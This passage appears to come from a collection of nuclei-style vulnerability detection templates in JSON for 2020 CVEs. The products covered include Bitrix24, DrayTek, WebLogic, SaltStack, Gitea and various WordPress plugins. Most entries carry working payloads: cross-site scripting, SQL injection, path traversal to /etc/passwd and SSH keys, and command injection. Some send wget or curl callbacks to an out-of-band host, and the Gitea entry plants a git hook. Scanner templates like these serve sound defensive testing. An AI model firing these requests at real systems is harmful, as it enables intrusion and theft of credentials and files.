-\\_=\"]+)?([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"},{"type":"regex","name":"username","group":1,"regex":["ion: https:\\/\\/[a-z0-9.]+\\/author\\/([a-z]+)\\/"],"internal":true,"part":"header"}]}]},{"id":"CVE-2020-13483","info":{"name":"Bitrix24 <=20.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>","{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["*/)});function __MobileAppList(){alert(1)}//","function(handler){};function __MobileAppList(test){alert(document.domain);};//
"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8515","info":{"name":"DrayTek - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/mainfunction.cgi HTTP/1.1\nHost: {{Hostname}}\n\naction=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19625","info":{"name":"Gridx 1.3 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["6ca86c2c17047c14437f55c42c801c10"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24902","info":{"name":"Quixplorer <=2.4.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["&srt=yes","My Download"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-25540","info":{"name":"ThinkAdmin 6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35774","info":{"name":"twitter-server Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27191","info":{"name":"LionWiki <3.2.12 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13700","info":{"name":"WordPresss acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: application/json"]},{"type":"word","part":"body","words":["acf-to-rest-api\\/class-acf-to-rest-api.php"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-29284","info":{"name":"Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+-"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=6"]},{"type":"word","part":"body","words":["Restaurent Tables","Chair List"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27735","info":{"name":"Wing FTP 6.4.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9484","info":{"name":"Apache Tomcat Remote Command Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.jsp"],"headers":{"Cookie":"JSESSIONID=../../../../../usr/local/tomcat/groovy"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Exception","ObjectInputStream","PersistentManagerBase"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-26258","info":{"name":"XStream <1.4.15 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n  \n    \n      0\n      \n        \n          \n            http://{{interactsh-url}}/internal/:\n          \n          \n        \n        0\n      \n    \n    test\n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Java"]}]}]},{"id":"CVE-2020-8654","info":{"name":"EyesOfNetwork 5.1-5.3 - SQL Injection/Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/css/eonweb.css"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 5.4', '>= 5.1')"]},{"type":"word","part":"body","words":["EyesOfNetwork"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["# VERSION : ([0-9.]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-16846","info":{"name":"SaltStack <=3002 - Shell Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/run"],"body":"token=1337&client=ssh&tgt=*&fun=a&roster={{roaster}}&ssh_priv={{priv}}","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["regex(\"CherryPy\\/([0-9.]+)\", header) || regex(\"CherryPy ([0-9.]+)\", body)"]},{"type":"word","part":"body","words":["An unexpected error occurred"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-26153","info":{"name":"Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"/>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-7107","info":{"name":"WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'","var Display_FAQ_ID ="],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10547","info":{"name":"rConfig 3.9.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11854","info":{"name":"Micro Focus UCMDB - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ucmdb-api/connect"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HttpUcmdbServiceProviderFactoryImpl","ServerVersion=11.6.0"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8512","info":{"name":"IceWarp WebMail Server <=11.4.4.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-25780","info":{"name":"Commvault CommCell - Local File Inclusion","severity":"high"},"requests":[{"method":"POST","path":["http://{{Host}}:81/SearchSvc/CVSearchService.svc"],"body":"\n   \n   \n      \n         c:/Windows/system.ini\n      \n   \n\n","headers":{"Cookie":"Login","soapaction":"http://tempuri.org/ICVSearchSvc/downLoadFile","content-type":"text/xml"},"matchers-condition":"and","matchers":[{"type":"word","words":["downLoadFileResult"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35985","info":{"name":"Rukovoditel <= 2.7.2 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=global_lists/lists&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-25223","info":{"name":"Sophos UTM Preauth - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /var HTTP/1.1\nHost: {{Hostname}}\nAccept: text/javascript, text/html, application/xml, text/xml, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nX-Prototype-Version: 1.5.1.1\nContent-Type: application/json; charset=UTF-8\nOrigin: {{BaseURL}}\nConnection: close\nReferer: {{BaseURL}}\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\n\n{\"objs\": [{\"FID\": \"init\"}], \"SID\": \"|wget http://{{interactsh-url}}|\", \"browser\": \"gecko_linux\", \"backend_version\": -1, \"loc\": \"\", \"_cookie\": null, \"wdebug\": 0, \"RID\": \"1629210675639_0.5000855117488202\", \"current_uuid\": \"\", \"ipv6\": true}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-12116","info":{"name":"Zoho ManageEngine OpManger - Arbitrary File Read","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nConnection: close\n","GET {{endpoint}}../../../../bin/.ssh_host_rsa_key HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nCache-Control: max-age=0\nConnection: close\nReferer: http://{{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \"BEGIN RSA PRIVATE KEY\")","status_code_2 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"endpoint","regex":["(?m)/cachestart/.*/jquery/"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-35749","info":{"name":"WordPress Simple Job Board <2.9.4 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6637","info":{"name":"OpenSIS 7.3 - SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/account/index.php","{{BaseURL}}/opensis/index.php","{{BaseURL}}/index.php"],"body":"USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SQL STATEMENT:","UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')"],"condition":"and"},{"type":"word","part":"header","words":["text/html"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11738","info":{"name":"WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["File Transfer","application/octet-stream","attachment; filename=\"(wp-config\\.php|passwd)\""],"condition":"and"},{"type":"regex","part":"body","regex":["root:.*:0:0:","define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14883","info":{"name":"Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1\nHost: {{Hostname}}\nAccept-Language: en\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\n\ntest_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String result = new StringBuilder(\"{{str}}\").reverse().toString(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["ADMINCONSOLESESSION"]},{"type":"word","part":"body","words":["{{revstr}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2733","info":{"name":"JD Edwards EnterpriseOne Tools 9.2 - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/manage/fileDownloader?sec=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ACHCJK"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35580","info":{"name":"SearchBlox <9.2.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/searchblox/servlet/FileServlet?col=9&url=/etc/passwd"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-13405","info":{"name":"Microweber <1.1.20 - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /module/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}admin/view:modules/load_module:users\n\nmodule={{endpoint}}\n"],"payloads":{"endpoint":["users/controller","modules/users/controller","/modules/users/controller"]},"matchers":[{"type":"dsl","dsl":["contains(body,\"username\")","contains(body,\"password\")","contains(body,\"password_reset_hash\")","status_code==200","contains(header,\"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2020-26248","info":{"name":"PrestaShop Product Comments <4.2.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 20s\nGET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"average_grade\")"],"condition":"and"}]}]},{"id":"CVE-2020-16952","info":{"name":"Microsoft SharePoint - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["15\\.0\\.0\\.(4571|5275|4351|5056)","16\\.0\\.0\\.(10337|10364|10366)"],"condition":"or"},{"type":"regex","part":"header","regex":["(?i)(Microsoftsharepointteamservices:)"]},{"type":"status","status":[200,201],"condition":"or"}]}]},{"id":"CVE-2020-5776","info":{"name":"MAGMI - Cross-Site Request Forgery","severity":"high"},"requests":[{"raw":["POST /magmi/web/magmi_saveprofile.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nprofile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=\n","POST /magmi/web/magmi_run.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nengine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update\n","GET /magmi/web/info.php HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11034","info":{"name":"GLPI <9.4.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?redirect=/\\/interact.sh/","{{BaseURL}}/index.php?redirect=//interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*?)$"]}]}]},{"id":"CVE-2020-23517","info":{"name":"Aryanic HighMail (High CMS) - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E","{{BaseURL}}/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["value=\"\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11853","info":{"name":"Micro Focus Operations Bridge Manager <=2020.05 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ucmdb-api/connect"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HttpUcmdbServiceProviderFactoryImpl","ServerVersion=11.6.0"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27866","info":{"name":"NETGEAR - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Debug Enable!"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27986","info":{"name":"SonarQube - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/settings/values"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["email.smtp_host.secured","email.smtp_password.secured","email.smtp_port.secured","email.smtp_username.secured"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11930","info":{"name":"WordPress GTranslate <2.8.52 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/does_not_exist\"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ealert(document.domain)","uri-translation"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2096","info":{"name":"Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5307","info":{"name":"PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /dfsms/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27+%3D+%271%27%3B+--+-&password=A&login=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["add-category.php"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2020-29597","info":{"name":"IncomCMS 2.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /incom/modules/uploader/showcase/script.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt\n\n------WebKitFormBoundaryBEJZt0IK73M2mAbt\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"{{randstr_1}}.png\"\nContent-Type: text/html\n\n{{randstr_2}}\n------WebKitFormBoundaryBEJZt0IK73M2mAbt--\n","GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["{\"status\":\"1\",\"name\":\"{{randstr_1}}.png\"}"]},{"type":"word","part":"body_2","words":["{{randstr_2}}"]}]}]},{"id":"CVE-2020-25495","info":{"name":"Xinuo Openserver 5/6 - Cross-Site scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
hello
"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-36365","info":{"name":"Smartstore <4.1.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-24579","info":{"name":"D-Link DSL 2888a - Authentication Bypass/Remote Command Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nCookie: uid=6gPjT2ipmNz\n\nusername=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b\n","GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1\nHost: {{Hostname}}\nCookie: uid=6gPjT2ipmNz\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["nobody:[x*]:65534:65534","root:.*:0:0:"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7943","info":{"name":"Puppet Server/PuppetDB - Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/metrics/v1/mbeans"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["trapperkeeper"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10770","info":{"name":"Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-14144","info":{"name":"Gitea 1.1.0 - 1.12.5 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/create HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master\n","POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}\n","GET /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\n","POST /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body_1","words":["Gitea:"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true},{"type":"regex","name":"last_commit","group":1,"regex":["name=\"last_commit\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2020-35987","info":{"name":"Rukovoditel <= 2.7.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-24949","info":{"name":"PHP-Fusion 9.03.50 - Remote Code 